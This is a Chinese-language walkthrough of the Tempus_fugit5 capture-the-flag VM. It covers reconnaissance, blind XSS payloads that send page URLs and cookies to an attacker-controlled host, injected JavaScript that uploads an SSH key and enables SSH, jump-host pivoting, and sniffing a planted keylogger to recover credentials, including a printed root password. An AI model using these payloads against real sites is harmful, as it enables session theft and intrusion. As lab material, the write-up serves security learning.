富有想象力的XSS盲打:靶机练习之Tempus_fugit5

信息搜集

主机发现

复制代码
nmap -sn 192.168.8.0/24

端口扫描

复制代码
nmap -sT --min-rate 10000 -p- 192.168.8.3
复制代码
nmap -sT -sC -sV -O 192.168.8.3 -p80 

只有一个80端口,nginx服务器

nginx页面泄露了一个邮箱

子域名枚举

复制代码
gobuster vhost -u 192.168.8.3 --domain mofo.org -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

拿到三个域名

复制代码
admin.mofo.org
www.mofo.org
snap.mofo.org

一个可以拍摄快照,访问页面并截图

管理admin提示需要内网ip访问

有一个发邮件的位置

快照功能测试

admin的home页面

admin的key页面

admin的staff页面

admin的logs页面

盲打xss

抓包测试

抓包后发现会先检测csrf字段,先测试修改csrf能否成功发送

直接删掉csrf也能发送,可能后端就没有做任何校验

测试出只有邮件字段做了校验

注入3个payload

复制代码
<img src=x onerror="new Image().src='http://192.168.8.11/xss-01/?u='+encodeURIComponent(location.href)">

<img src=x onerror="new Image().src='http://192.168.8.11/xss-02/?u='+encodeURIComponent(location.href)">

<img src=x onerror="new Image().src='http://192.168.8.11/xss-03/?u='+encodeURIComponent(document.cookie)">

分析一下payload

复制代码
 执行流程:
  1. <img src=x> 加载失败,触发 onerror
  2. onerror 新建一个对象 改为攻击者服务器的 URL
  3. 发起一次恶意url请求
  4. 结束
ps:比起onerror="this.src"让客户端陷入死循环和大量服务端噪音日志,新建对象会更隐蔽,危害性也更小

同时记得url编码

监听访问日志

同步启用kali apache2服务

等待一段时间,发现xss-03有了回显,说明csrf字段是可以注入xss执行js脚本的

泄露的文件是一个空白页面

尝试偷cookie

复制代码
<img+src%3dx+onerror%3d"new+Image().src%3d'http%3a//192.168.8.11/xss-03/%3fu%3d'%2bencodeURIComponent(document.cookie)">

没有多余的信息, cookie 大概率是 HttpOnly做了限制

尝试盲打上传ssh密钥

本机生成私钥

复制代码
ssh-keygen -t rsa -b 4096 -f ./id_rsa -C "tempus5"
复制代码
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5

js脚本上传私钥

http://admin.mofo.org/key页面,上传文件,xhr提交form表单提交

js 复制代码
var xhr= new XMLHttpRequest();
var formData = new FormData();
var sshKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5';
var fileBlob = new Blob([sshKey],{type: 'application/octet-stream'});
formData.append('file',fileBlob,'id_rsa.pub');
formData.append('Submit','Submit');
xhr.open('POST','http://admin.mofo.org/key',false);
xhr.send(formData);

注入payload

复制代码
<img src=x onerror="payload">

等待一段时间后,成功上传

js激活ssh

js 复制代码
var xhr= new XMLHttpRequest();
xhr.open('POST','http://admin.mofo.org/',false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send('Submit=Enable+SSH');

成功激活

端口已经打开

用户ctorres

跳板机登录

复制代码
ssh -p2222 ctorres@192.168.8.3 -i id_rsa

登录提示被一块垫脚石中止

联想到有一个内网的ip192.168.150.1

尝试跳板机登录

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1

依然报错查看日志

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1 -vv

需要校验root目录下面的密钥,把文件复制到对应目录

成功拿到shell

提权

邮件文件泄露

send文件中显示员工ctorres似乎和上级领导有矛盾,发了一个邮件给外部人员,提示注入了payload

还有两个内部ip

hosts解析信息泄露

复制代码
127.0.0.1       localhost
127.0.1.1       TempusFugit5.mofo.org   TempusFugit5
192.168.150.1   tempusfugit5.mofo.org
192.168.150.10  snap.mofo.org
192.168.150.11  www.mofo.org
192.168.150.13  surfer.mofo.org
192.168.150.15  pass.mofo.org
192.168.150.1   admin.mofo.org

pass.mofo.org被植入了恶意脚本,似乎是监听键盘按键的

流量劫持

复制代码
python3 -m http.server --bind 192.168.150.1 4444 | tee keys.log
复制代码
grep -iE "key=" keys.log | tee keys.log

awk -F'key=' '{print $2}' keys.log |  awk '{printf "%c", $1}'
复制代码
hjanusisHi5CmhKNl9Tr0vVB

拿到了账号和密码

端口转发

两种端口转发都可以

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 -L 81:192.168.150.15:80 ctorres@192.168.150.1 -N

ssh -o ProxyCommand="ssh -i ./id_rsa -W %h:%p -p 2222 ctorres@192.168.8.3" -N -L 81:192.168.150.15:80 -i id_rsa ctorres@192.168.150.1

session存活时间改一下

成功登录

root密码

复制代码
>,sdrXCaNaKj

成功拿到root

相关推荐
xy34531 小时前
Wireshark捕获过滤器——语法元素详解
网络·测试工具·渗透测试·wireshark
DLYSB_2 小时前
生命通道:如何用 HIS 医疗系统直连网络声光终端,打造“零延误”的危急值响应网关?
java·网络·数据库·报警灯
大E帝国子民13 小时前
MacOS 安装Seismic Unix
服务器·macos·unix
哥是强混4 小时前
Means:基于 .NET 10 打造的开源自部署 S3 兼容对象存储服务
网络·数据库·.net
Piko6145 小时前
锐捷 VSU 虚拟化堆叠配置
运维·网络·笔记
爱研究的小梁7 小时前
乾元通多链路聚合通信主流落地应用案例
网络·信息与通信
Bobolink_7 小时前
跨境网络丢包优化实践,从5%到0.2%的排查与调整过程
网络·跨境网络·丢包优化
Piko6147 小时前
锐捷交换机 DHCP Server部署
运维·网络·笔记
多巴胺梦想家8 小时前
数据库恢复技术:当灾难来临
网络·数据库·oracle